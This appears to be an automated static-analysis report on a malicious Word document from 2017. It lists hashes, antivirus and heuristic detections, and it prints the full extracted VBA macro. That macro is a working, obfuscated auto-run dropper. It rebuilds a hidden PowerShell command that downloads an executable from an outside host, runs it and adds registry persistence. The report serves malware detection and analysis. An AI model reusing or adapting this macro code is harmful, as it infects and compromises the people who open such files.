Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 56302e88bc7097c6…

MALICIOUS

Office (OLE)

112.5 KB Created: 2017-01-20 00:05:00 Authoring application: Microsoft Office Word First seen: 2017-02-23
MD5: d59ca8bdcabd5a3f079cb46c4cc90ed7 SHA-1: b20dbac80d5a7415c15ef4ddc6ef9a47ff7769c1 SHA-256: 56302e88bc7097c68940cbbfc2f8d8ff902a1c9f17f2c2820f1f6600c9acbfd7
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a heavily obfuscated VBA macro loader, indicated by multiple critical heuristic firings including 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens'. The macro uses CreateObject and Shell execution to likely download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-5660467-0' further supports its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-5660467-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-5660467-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    ovocfdozqcvvzattr(5) = "l"
    Set avwwmowlqteqwfxlg = CreateObject(Join(ovocfdozqcvvzattr, ""))
    Dim februarynaive As String
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ovocfdozqcvvzattr(5) = "l"
    Set avwwmowlqteqwfxlg = CreateObject(Join(ovocfdozqcvvzattr, ""))
    Dim februarynaive As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Public Sub Document_Open()
    Dim vkfhymkrmywtvc As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5319 bytes
SHA-256: aac781610bc975b8b1c8b7d5615e72aa1ca7601d01efbf8ee84a471888f2c215
Detection
ClamAV: No threats found
Obfuscation or payload: likely
108 of 197 identifiers look randomly generated (e.g. 'RZDQoAwQznRlLoYYaRdLFzziRlZeQQ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub Document_Open()
Dim vkfhymkrmywtvc As String
vkfhymkrmywtvc = "pvrgnqlmcby"
Dim speeduncover As Long
speeduncover = 692
gamesurround = "CQAUR\Z\Z4SYZoQAfZZtYwAaZZrzAeQQ\Y\LCAzlQRaRs4sRe44sZ\Z\ZmZ4sYcAfYYiZlYeYZ\4\ZZsZhZYezlAlRZ\QA\YoQpRYeYnzZ\zR\YcRZoLmZYmYZaQZnYdR R/LRdY 4%L4TZERMz4PZ%R\4\RRezQxYLpZlzoRrYe44rZA.YeRxLQeAQ R/zZf4Z LY&Y zeAvYYeAYnYLtLYvLwZZrz.AReZLxzeYZ z&Z YZPYIANRGZ4 QL-RYnZ ZQ14Z5Lz ZR1L2Y7L.z0Z.Z40RZ.Z1Z>ZnRuRl4L ZQ&LR "
Dim fktfnlhxzorypurveqd As String
fktfnlhxzorypurveqd = "npdaewdhtxodkvel"
Dim poemretire As Long
poemretire = 551
Dim omreowwnlcnyqfj As String
omreowwnlcnyqfj = "iumpqnivekfxacdqh"
Dim hospitalorphan As Long
hospitalorphan = 161

Dim yrupoyzousfclyghvly As String
yrupoyzousfclyghvly = "uzwtrlosraqmhcet"
Dim lsrfxflyucq As Long
lsrfxflyucq = 575
'ixsxxqsga acidnothing
Dim wxxyzpyevxfxvmfw As String
wxxyzpyevxfxvmfw = "zekwbkflrv"
'hobbyhour vmgwxlfxzpywler
antennaclarify = Asc("G") - 71
Dim lyricswater As String
lyricswater = "aejoozpwxir"
Dim limbpost As Long
limbpost = 571
keldysfgip = "ZcZmYAdAz.RReZ4xQZeZ ZY/QcY ZpRoZZwzYe4rALsYhYzeZ4lLRlY.AezYx4eRQ R-YRwRZ ZYhziQ4dRZdRZeLnZ z4-ZnRYoZpRA zZ-4ZeApRR YbZy44pRaYLsRs4 A(ZNzZeZ4w4Z-zOY4bRZjZAezcRtY YZSQZyAsZYtZQeRmR.LZNAeZtY.AzW4eRbRCZlYLi4ZeRnZt4A)L.RZDQoAwQznRlLoYYaRdLFzziRlZeQQ(YL'zzhRYtLtZZpA:Y4/ZA/RAbRRiLtzcZAo4iZZnQ-RQhzezl4pA.YoLZnRlziRnZZeQY/RLdQ4oQwRnAQlAYoQRazdYYsZ/LbzYo4zozzkL/ReLxRpYZlAZoZArzeYrR.YeLxZZeY'YY,ZZ'RZ%QRTRZEYLMZPZ4%RZ\z\LeYxLQp4zlZYozrYZeZZrZZ.QeARxZZe4z'ZZ)ZR Qz&zL QrYeQgzR ZaRLdYdY ZZHYLKLz"
Dim xrwcizalzdthif As String
xrwcizalzdthif = "dealpoem"
Dim daysuffer As Long
daysuffer = 780
Dim djaezjnkxgzbraij As String
djaezjnkxgzbraij = "dvdjkeckdzla"
Dim yelnencxcltjybrd As Long
yelnencxcltjybrd = 277
keldysfgip = keldysfgip & gamesurround & "ZY%ZTY4ERRMZPRQ%Q\QZ\zLeQ4xApzlQoAZrReQr4A.AZezxZRe"
'xwkjmcctnwohaefo wkmvvfrszqgawzvyah
Dim lnmapmbdxm As String
lnmapmbdxm = "comepicnic"
'accountcereal ebywmotwojgcber
Dim amountnever As String
amountnever = "designfatal"
Dim ioqcoppxspbhrdyxwu As Long
ioqcoppxspbhrdyxwu = 1
gamesurround = ""
'wfzdaifrpyhc dskawkopzihmvclt
Dim minorrelax As String
minorrelax = "firmthrive"
'scatterthrive oomymikadfsbsc
Dim ovocfdozqcvvzattr(1 To 5) As String
Dim dqygjqjkbjuuonr As String
dqygjqjkbjuuonr = "ndfvnjtoygezli"
Dim dpspexuuue As Long
dpspexuuue = 501
ovocfdozqcvvzattr(1) = "wsc"
ovocfdozqcvvzattr(2) = "ri"
Dim awesomeclerk As String
awesomeclerk = "canalincome"
Dim wqlhovyqjflcfruupjo As Long
wqlhovyqjflcfruupjo = 4
ovocfdozqcvvzattr(3) = "pt.s"
Dim lavamarble As String
lavamarble = "ensgnywxmoagshj"
Dim benefittennis As Long
benefittennis = 161
'zvhjfsybrhigaqggtnh iwarsbnknseuewqsl
Dim uzcwdkwpgga As String
uzcwdkwpgga = "bannerslow"
'wxuorqvgmereqyh rlqeoemvupoihm
ovocfdozqcvvzattr(4) = "hel"
'tseqzkishtwbh rwzwyeukgo
Dim fireroast As String
fireroast = "explaintank"
'galaxysnow cppiefkrkpknvijbig
ovocfdozqcvvzattr(5) = "l"
Set avwwmowlqteqwfxlg = CreateObject(Join(ovocfdozqcvvzattr, ""))
Dim februarynaive As String
februarynaive = "ynzoxxiee"
Dim bestguitar As Long
bestguitar = 369
For ktxvuexuvobuiq = 1 To Len(keldysfgip)
'mfqeamzoiwmnshei rhythmvessel
Dim ztiswjsrurel As String
ztiswjsrurel = "dcairhxplppxonnco"
'wpliriyzftcxydwic jebywgwpeurgrlywer
gaqivkalqnwm = Mid(keldysfgip, ktxvuexuvobuiq, 1)
rowxpocwheeojemnt = "LQAZYzZYRZ4R" Like "*" & gaqivkalqnwm & "*"
'robvttfomllzhsrih vjcnoevmpguyhjc
Dim kobnryhphsmdqfeop As String
kobnryhphsmdqfeop = "sngzddjygs"
'loudversion cherrytape
If Not rowxpocwheeojemnt Then
'bfvirnvrldcguznjhwb inflictstory
Dim bladerender As String
bladerender = "couchnegative"
'ebljangmkyhzfk changeconnect
'oncpaqsyzrpztbsonck spoontent
Dim clusterfunny As String
clusterfunny = "iavmamouslmadxkho"
'dampregret clerkhawk
gamesurround = gamesurround & gaqivkalqnwm
'exposenever qrcmwqbidpndw
Dim animalordinary As String
animalordinary = "yzktgwpkm"
'chatrack xcsruywtgecsydlh
End If
Dim roxlyegdcmw As String
roxlyegdcmw = "lnahqdrxlqgmvlcyef"
Dim mqyryqoqewqoilxovyu As Long
mqyryqoqewqoilxovyu = 442
'mulepride genremain
Dim wroaaiuiklkoosfvfqk As String
wroaaiuiklkoosfvfqk = "attackmath"
'pjfrfxihnhrol februaryproud
If ktxvuexuvobuiq = Len(keldysfgip) Then
'amongasthma canaleye
Dim yipxbydnamnztaqe As String
yipxbydnamnztaqe = "annualpurchase"
'busypowder vpiwwxnxw
Dim manskull As String
manskull = "beaqioonjgebo"
Dim qoipowgsddqcgxd As Long
qoipowgsddqcgxd = 932
nfpeslotgjxccn = avwwmowlqteqwfxlg.Run(gamesurround, antennaclarify)
Dim dnzimryxxxz As String
dnzimryxxxz = "cyiwlqsbtsh"
Dim bulbillegal As Long
bulbillegal = 547
'yadcrygsjnf jealoussauce
Dim yzvkbhwjd As String
yzvkbhwjd = "differgeneral"
'rldzfdwoekmdbatyda fvrxzcqpylqiufdt
End If
Next
Dim djwwzdbbqvvtjapzo As String
djwwzdbbqvvtjapzo = "uwqwtfacmhq"
Dim minimumresemble As Long
minimumresemble = 321
End Sub